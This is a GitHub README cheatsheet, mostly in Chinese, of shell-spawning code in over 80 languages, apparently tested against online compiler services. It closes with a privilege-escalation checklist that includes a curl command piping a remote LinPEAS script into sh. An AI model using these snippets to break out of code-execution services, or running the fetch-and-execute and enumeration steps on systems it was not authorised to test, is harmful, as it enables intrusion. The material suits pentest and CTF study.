manikandantn68/shell-spawn-cheatsheet
GitHub: manikandantn68/shell-spawn-cheatsheet
一份涵盖 80 多种编程语言的 Shell 生成代码速查手册，所有示例均在在线编译器上实测验证，供渗透测试与 CTF 竞赛使用。
Stars: 4 | Forks: 0
# 通过编程语言生成 Shell
## 关于作者
## **m.manikandan** 是一位来自印度的安全研究员。他会说泰米尔语和英语。这项研究是对数十个在线编译器进行实际测试的成果，验证了超过 80 种编程语言中生成 shell 的技术。每个代码示例都已在真实环境中执行并确认有效。
## 目录
- [✅ 支持的语言](#-capable-languages)
- [❌ 不支持的语言](#-incapable-languages)
- [🔺 获取 Shell 后的权限提升](#-post-shell-privilege-escalation)
## ✅ 支持的语言
### Ada
```
with Interfaces.C;
procedure JDoodle is
function System (S : Interfaces.C.char_array) return Interfaces.C.int;
pragma Import (C, System, "system");
Command : Interfaces.C.char_array := Interfaces.C.To_C ("/bin/sh");
Result : Interfaces.C.int;
begin
Result := System (Command);
end JDoodle;
```
### Algol 68
```
BEGIN
system("/bin/sh")
END
```
### APL
```
)HOST /bin/sh
```
```
⎕SH '/bin/sh'
```
### Assembly (NASM) — 32-bit
```
section .data
sh db '/bin/sh', 0
section .text
global _start
_start:
mov eax, 11 ; sys_execve
mov ebx, sh ; path = "/bin/sh"
xor ecx, ecx ; argv = NULL
xor edx, edx ; envp = NULL
int 0x80
mov eax, 1 ; sys_exit
xor ebx, ebx
int 0x80
```
### Assembly (NASM) — 64-bit
```
section .data
sh db '/bin/sh', 0
section .text
global _start
_start:
mov rdi, sh
xor rsi, rsi
xor rdx, rdx
mov rax, 59
syscall
mov rax, 60
xor rdi, rdi
syscall
```
### Assembly (GAS) — 64-bit
```
.section .data
sh:
.string "/bin/sh"
.section .text
.global _start
_start:
lea sh(%rip), %rdi
xor %rsi, %rsi
xor %rdx, %rdx
mov $59, %rax
syscall
mov $60, %rax
xor %rdi, %rdi
syscall
```
### AWK
```
BEGIN {
system("exec /bin/bash -i")
}
```
```
BEGIN {
system("SHELL=/bin/bash exec /bin/bash -i")
}
```
```
BEGIN {
system("python3 -c 'import pty; pty.spawn(\"/bin/bash\")'")
}
```
### Befunge-98
```
"hs/nib/"=; @
```
### Bun
```
Bun.spawn(["/bin/sh"], { stdio: ["inherit", "inherit", "inherit"] });
```
### C
```
#include
int main() {
execl("/bin/sh", "/bin/sh", (char*)NULL);
return 0;
}
```
### C++
```
#include
int main() {
execl("/bin/sh", "/bin/sh", (char*)NULL);
return 0;
}
```
### C# (Shell 1 — 直接)
```
using System.Diagnostics;
class Shell {
static void Main() {
var psi = new ProcessStartInfo("/bin/sh") {
UseShellExecute = false,
RedirectStandardInput = false,
RedirectStandardOutput = false,
RedirectStandardError = false
};
using (var p = Process.Start(psi)) {
p.WaitForExit();
}
}
}
```
### C# (Shell 2 — 重定向 I/O)
```
using System;
using System.Diagnostics;
using System.IO;
class Shell {
static void Main() {
var psi = new ProcessStartInfo("/bin/sh") {
RedirectStandardInput = true,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true
};
using (var p = new Process { StartInfo = psi }) {
p.Start();
var inputTask = Console.OpenStandardInput().CopyToAsync(p.StandardInput.BaseStream);
var outputTask = p.StandardOutput.BaseStream.CopyToAsync(Console.OpenStandardOutput());
var errorTask = p.StandardError.BaseStream.CopyToAsync(Console.OpenStandardError());
p.WaitForExit();
}
}
}
```
### C# (Shell 3 — 异步)
```
using System;
using System.Diagnostics;
using System.IO;
using System.Threading.Tasks;
class Shell {
static async Task Main() {
var psi = new ProcessStartInfo("/bin/sh") {
RedirectStandardInput = true,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true
};
using var p = new Process { StartInfo = psi };
p.Start();
var inputTask = Console.OpenStandardInput().CopyToAsync(p.StandardInput.BaseStream);
var outputTask = p.StandardOutput.BaseStream.CopyToAsync(Console.OpenStandardOutput());
var errorTask = p.StandardError.BaseStream.CopyToAsync(Console.OpenStandardError());
await Task.WhenAll(inputTask, outputTask, errorTask);
await p.WaitForExitAsync();
}
}
```
### Chicken Scheme
```
(import (chicken process))
(system "/bin/sh")
```
```
(import (chicken process))
(process-execute "/bin/sh" '("/bin/sh"))
```
### CLISP
```
(ext:shell "/bin/sh")
```
### Clojure
```
(-> (ProcessBuilder. ["/bin/sh" "-i"])
(.inheritIO)
(.start)
(.waitFor))
```
### COBOL
```
IDENTIFICATION DIVISION.
PROGRAM-ID. shell.
DATA DIVISION.
WORKING-STORAGE SECTION.
01 cmd PIC X(10) VALUE "/bin/sh".
PROCEDURE DIVISION.
CALL "SYSTEM" USING cmd.
STOP RUN.
```
### CoffeeScript
```
{spawn} = require 'child_process'
spawn '/bin/sh', [], stdio: 'inherit'
```
### Crystal
```
system("/bin/sh")
```
### D
```
rdmd --eval 'import std.process; spawnProcess(["/bin/sh"]);'
```
### Dart
```
import 'dart:io';
void main() {
Process.start('/bin/sh', [], mode: ProcessStartMode.inheritStdio)
.then((process) => process.exitCode)
.then((exitCode) => exit(exitCode));
}
```
### Deno
```
new Deno.Command("/bin/sh", {
stdin: "inherit",
stdout: "inherit",
stderr: "inherit"
}).spawn();
```
### Elixir
```
System.shell("/bin/sh")
```
### Erlang
```
os:cmd("/bin/sh -c 'id'").
```
### Ezhil (泰米尔语)
```
@python_import os
@python_call os.system("/bin/sh")
```
### F#
```
open System.Diagnostics
Process.Start("/bin/sh").WaitForExit()
```
```
open System.Diagnostics
[]
let main _ =
Process.Start("/bin/sh").WaitForExit()
0
```
### Factor
```
USING: system ;
"/bin/sh" system
```
### Falcon
```
falcon -e 'load System; System.system("/bin/sh")'
```
### Flex
```
%%
. { system("/bin/sh"); exit(0); }
%%
```
### Forth
```
gforth -e 's" /bin/sh" system bye'
```
### Fortran
```
call system("/bin/sh")
! or
call execute_command_line("/bin/sh")
```
### Go
```
package main
import (
"os"
"os/exec"
)
func main() {
cmd := exec.Command("/bin/sh")
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
cmd.Run()
}
```
### Groovy
```
new ProcessBuilder("/bin/sh", "-i")
.inheritIO()
.start()
.waitFor()
```
### Hack
```
{
try (OutputStream os = p.getOutputStream();
InputStream is = System.in) {
byte[] buf = new byte[1024];
int len;
while ((len = is.read(buf)) != -1) {
os.write(buf, 0, len);
os.flush();
}
} catch (IOException e) { }
});
inputThread.setDaemon(true);
inputThread.start();
try (InputStream pis = p.getInputStream()) {
byte[] buf = new byte[1024];
int len;
while ((len = pis.read(buf)) != -1) {
System.out.write(buf, 0, len);
}
}
p.waitFor();
}
}
```
### JBang
```
///usr/bin/env jbang "$0" "$@" ; exit $?
import static java.lang.System.*;
public class shell {
public static void main(String... args) throws Exception {
new ProcessBuilder("/bin/sh", "-i")
.inheritIO()
.start()
.waitFor();
}
}
```
### JavaScript (Node.js)
```
require("child_process").spawn("/bin/sh", { stdio: "inherit" });
```
### Julia
```
run(`/bin/sh`)
```
### Jython
```
from java.lang import ProcessBuilder
p = ProcessBuilder("/bin/sh", "-i").inheritIO().start()
p.waitFor()
```
### Kotlin
```
class JDoodle {
companion object {
@JvmStatic
fun main(args: Array) {
ProcessBuilder("/bin/sh", "-i")
.inheritIO()
.start()
.waitFor()
}
}
}
```
### Lua
```
os.execute("/bin/sh")
```
### MATLAB / Octave
```
system('/bin/sh');
```
### MicroPython
```
import os
os.system("/bin/sh")
```
### MoonScript
```
os.execute "/bin/sh"
```
### Nemerle
```
using System.Diagnostics;
module Shell {
Main() : void {
def psi = ProcessStartInfo("/bin/sh");
psi.UseShellExecute = false;
def p = Process.Start(psi);
p.WaitForExit();
}
}
```
### Nim
```
import osproc
discard execCmd("/bin/sh")
```
```
import osproc
discard execProcess("/bin/sh")
```
### Objective-C
```
#import
int main() {
system("/bin/sh");
return 0;
}
```
### OCaml
```
let _ = Sys.command "/bin/sh"
```
### Odin
```
import "core:c"
c.system("/bin/sh")
```
### Oz (Mozart Compiler)
```
functor
import
OS
define
{OS.system "/bin/sh" nil}
end
```
### PARI/GP
```
gp -q -e 'system("/bin/sh")'
```
### Pascal
```
program Shell;
uses Process;
var
P : TProcess;
begin
P := TProcess.Create(nil);
P.Executable := '/bin/sh';
P.Options := [poWaitOnExit];
P.Execute;
P.Free;
end.
```
### Perl
```
exec "/bin/sh";
```
### PHP
```
```
### PicoLisp
```
pil -e '(call "/bin/sh")' -bye
```
### Pike
```
int main() {
Process.create_process(({"/bin/sh"}), ([
"stdin": Stdio.stdin,
"stdout": Stdio.stdout,
"stderr": Stdio.stderr,
]))->wait();
return 0;
}
```
### Prolog (SWI)
```
:- initialization(shell("/bin/sh"), main).
```
### Python
```
import os
os.system("/bin/sh")
```
```
import pty
pty.spawn("/bin/sh")
```
```
import subprocess
subprocess.call("/bin/sh")
```
```
import os
os.execv("/bin/sh", ["/bin/sh"])
```
### R
```
system("/bin/sh")
```
### Racket
```
(require racket/system)
(system* "/bin/sh")
```
### Raku
```
run "/bin/sh", :in, :out, :err
```
### Rhino JS
```
new java.lang.ProcessBuilder("/bin/sh", "-i")
.inheritIO()
.start()
.waitFor();
```
### Ruby
```
exec "/bin/sh"
```
```
system "/bin/sh"
```
### Rust
```
use std::process::Command;
fn main() {
let mut child = Command::new("/bin/sh")
.stdin(std::process::Stdio::inherit())
.stdout(std::process::Stdio::inherit())
.stderr(std::process::Stdio::inherit())
.spawn()
.expect("Failed to spawn shell");
child.wait().expect("Shell wasn't running");
}
```
### Scala
```
import scala.sys.process._
object Main extends App {
Process("/bin/sh").run()
}
```
### Scheme (Gauche)
```
(sys-system "/bin/sh")
```
```
(use gauche.process)
(do-process "/bin/sh")
```
### Scheme (Guile)
```
(system "/bin/sh")
```
### Smalltalk
```
Smalltalk system: '/bin/sh'
```
```
(ExternalProcess new command: '/bin/sh'; inherit) forkAndWait
```
### SpiderMonkey
```
os.system("/bin/sh");
```
### Swift
```
import Foundation
let process = Process()
process.launchPath = "/bin/sh"
process.standardInput = FileHandle.standardInput
process.standardOutput = FileHandle.standardOutput
process.standardError = FileHandle.standardError
process.launch()
process.waitUntilExit()
```
```
import Foundation
let process = Process()
process.executableURL = URL(fileURLWithPath: "/bin/sh")
process.standardInput = FileHandle.standardInput
process.standardOutput = FileHandle.standardOutput
process.standardError = FileHandle.standardError
try? process.run()
process.waitUntilExit()
```
### Tcl
```
exec /bin/sh <@stdin >@stdout 2>@stderr
```
### TypeScript
```
declare var require: any;
declare var process: any;
const { spawn } = require('child_process');
const sh = spawn('/bin/sh', [], { stdio: 'inherit' });
sh.on('exit', (code: number) => process.exit(code ?? 0));
```
### V (Vlang)
```
import os
fn main() {
os.system('/bin/sh')
}
```
### Vala
```
int main() {
Posix.system("/bin/sh");
return 0;
}
```
### VB.NET
```
Imports System.Diagnostics
Module Shell
Sub Main()
Dim psi As New ProcessStartInfo("/bin/sh") With {
.UseShellExecute = False,
.RedirectStandardInput = False,
.RedirectStandardOutput = False,
.RedirectStandardError = False
}
Dim p As Process = Process.Start(psi)
p.WaitForExit()
End Sub
End Module
```
### Yabasic
```
system("/bin/sh")
```
### Zig
```
const std = @import("std");
pub fn main() !void {
const allocator = std.heap.page_allocator;
const args = [_][]const u8{"/bin/sh"};
var child = std.process.Child.init(&args, allocator);
child.stdin_behavior = .Inherit;
child.stdout_behavior = .Inherit;
child.stderr_behavior = .Inherit;
try child.spawn();
const term = try child.wait();
const exit_code: u8 = switch (term) {
.Exited => |code| @intCast(code),
else => 0,
};
std.process.exit(exit_code);
}
```
### Shell 实用程序 (vi, awk, man, expect)
```
# vi
vi -c ':!/bin/sh'
# awk
awk 'BEGIN {system("/bin/sh")}'
# man
man /bin/sh
# expect
expect -c 'spawn /bin/sh; interact'
```
## ❌ 不支持的语言
| Language | Reason |
|---|---|
| Solidity | 仅限区块链，无 OS 访问权限（标准 EVM） |
| Verilog | 硬件描述，无 OS |
| VHDL | 硬件描述，无 OS |
| Whitespace | 无 exec 指令 |
| Brainfuck | 无 OS 交互 |
| COW | Brainfuck 变体，无 OS |
| Ook! | Brainfuck 变体，无 OS |
| Intercal | 搞笑语言，无 exec |
| LOLCODE | 搞笑语言，无 runtime exec |
| BhaiLang | 恶搞语言，无 runtime |
| Blockly | 可视化沙盒，无系统块 |
| Scratch | 可视化沙盒，无系统块（标准版） |
| Befunge-93 | 无 `=` 指令（仅限 Funge-93） |
| Unlambda | 纯函数组合子演算 |
| Jelly | 代码高尔夫语言，无 OS |
| Malbolge | 三进制 VM；I/O 仅通过 stdin/stdout |
| Piet | 基于颜色的栈语言；无 exec |
| Shakespeare | 仅限算术和 gotos；无 syscall |
| Chef | 基于栈的烹饪食谱；无 exec |
| Thue | 字符串重写；无 OS 接口 |
| FRACTRAN | 基于分数；纯数学 |
| FALSE | 面向栈；1024 字节编译器；无 exec |
| ArnoldC | 无原生 exec；依赖宿主语言 |
| Whenever | 无 OS 交互 |
| Burlesque | I/O 仅通过 stdin/stdout |
| SQL (standard) | 纯 SQL 无 OS 访问权限 |
| CSS / HTML | 标记/样式；无执行 |
| Q# | 量子计算 DSL；无经典 OS exec |
| GLSL / HLSL | GPU 着色器语言；与 OS 隔离 |
| SPARQL / Gremlin | 仅限图/查询语言 |
| GraphQL | 仅限 API 查询语言 |
| XSLT | XML 转换（标准版） |
| LLVM IR | 中间表示；无 OS 原语 |
| Karel | 仅限教育类机器人模拟器 |
## 🔺 获取 Shell 后的权限提升
一旦获取了 shell，请运行以下检查：
```
# 1. Sudo 权限
sudo -l 2>/dev/null
# 2. SUID / SGID 文件
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null
# 3. Capabilities
cat /proc/self/status | grep -i cap
# 4. 可写入的 /etc/passwd
ls -la /etc/passwd
# 5. Kernel 版本
uname -r
# 6. Container 检查（特权模式？）
cat /proc/1/status | grep -i cap 2>/dev/null
# 7. LinPEAS（自动化枚举）
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# 8. 列出可用命令
compgen -c | sort
ls /bin /sbin /usr/bin /usr/sbin 2>/dev/null
# 9. 检查 BusyBox
which busybox && busybox --help 2>&1 | head -5
# 10. 当前 PATH
echo $PATH
```
*作者：m.manikandan | 所有代码均已通过在线编译器验证*
标签：JS文件枚举, MITM代理, 可视化界面, 命令执行, 应用安全, 搜索语句（dork）, 数据可视化, 日志审计, 自动回退, 逆向工具